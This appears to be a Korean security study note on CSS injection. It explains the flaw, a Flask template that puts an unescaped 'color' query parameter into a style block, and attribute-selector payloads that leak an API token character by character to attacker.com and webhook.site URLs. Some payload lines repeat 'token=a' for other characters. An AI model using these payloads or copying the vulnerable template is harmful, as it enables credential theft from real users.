CSS injection

CSS Injection은 공격자가 삽입한 값을 통해서 웹 페이지 내 로드된 CSS(스타일시트) 또는 Style 태그와 속성 등 페이지의 CSS를 통제하는 취약점입니다.

 

html injection과 비슷한데요. css를 컨트롤 하는 것에서 차이점이 있습니다. html injection이 가능한 경우 <style> 태그를 사용할 수 있거나, 입력값으로 css 값을 받는 경우 발생할 수 있는 취약점입니다.

 

css injection은 기본적으로 xss, csrf 및 피싱과 연계될 수 있습니다.

 

position: fixed와 이를 꾸며주는 CSS를 기반을 통해 로그인, 서비스 페이지 등의 버튼을 공격자가 의도한 Element로 덮어서 사용자가 쉽게 피싱 등에 당할 수 있도록 구성이 가능합니다.

 

xss의 경우 버튼이나 이미지를 클릭했을 때 작동하는 xss의 경우 연계될 수 있으며, csrf의 경우 이미지 파일을 가져오라는 명령과 함꼐 사용될 수 있습니다. url(), background의 CSS 기능을 이용해 요청을 보낼 수 있습니다.

하지만, css injection만을 통해서 정보를 leak 가능하다. 이를 Sequential Import Chaining라고 한다.

Sequential Import Chaining

input[name=password][value^=a]{
    background: url('<https://attacker.com/a>');
}
input[name=password][value^=b]{
    background: url('<https://attacker.com/b>');
}
/* ... */
input[name=password][value^=9]{
    background: url('<https://attacker.com/9>');   
}

예시

@app.context_processor
def background_color():
    color = request.args.get("color", "white")
    return dict(color=color)

참고 :

 

Flask에서 @app.context_processor 데코레이터는 템플릿에 전역 변수를 추가할 수 있게 해주는 기능입니다. 이 함수는 템플릿을 렌더링할 때 자동으로 호출되며, 반환된 값은 모든 템플릿에서 사용할 수 있는 컨텍스트로 전달됩니다.

 

템플릿

<style>
      body{
        background-color: {{ color }};
      }
</style>

 

input 요소

<input type="text" class="form-control" id="InputApitoken" readonly="" value="exhbklru">

 

페이로드

red;} input[id="InputApitoken"][value^= a ]{
	background: url('	<https://webhook.site/ac4a95ae-a0dd-4adb-aeb2-9ee97c874823?token=a>');}

input[id="InputApitoken"][value^= a ]{
	background: url('	<https://webhook.site/ac4a95ae-a0dd-4adb-aeb2-9ee97c874823?token=a>');
}
input[id="InputApitoken"][value^= b ]{
	background: url('	<https://webhook.site/ac4a95ae-a0dd-4adb-aeb2-9ee97c874823?token=b>');
}
input[id="InputApitoken"][value^= c ]{
	background: url('	<https://webhook.site/ac4a95ae-a0dd-4adb-aeb2-9ee97c874823?token=a>');
}

.....

input[id="InputApitoken"][value^= 1 ]{
	background: url('	<https://webhook.site/ac4a95ae-a0dd-4adb-aeb2-9ee97c874823?token=a>');
}

input[id="InputApitoken"][value^= 2 ]{
	background: url('	<https://webhook.site/ac4a95ae-a0dd-4adb-aeb2-9ee97c874823?token=a>');
}

....

input[id="InputApitoken"][value^= ~ ]{
	background: url('	<https://webhook.site/ac4a95ae-a0dd-4adb-aeb2-9ee97c874823?token=a>')

 

페이로드를 ?color=에 넣으면 token을 구성하는 알파벳을 알 수 있고 이를 통해서 블루트포싱 공격이 쉽게 가능하다.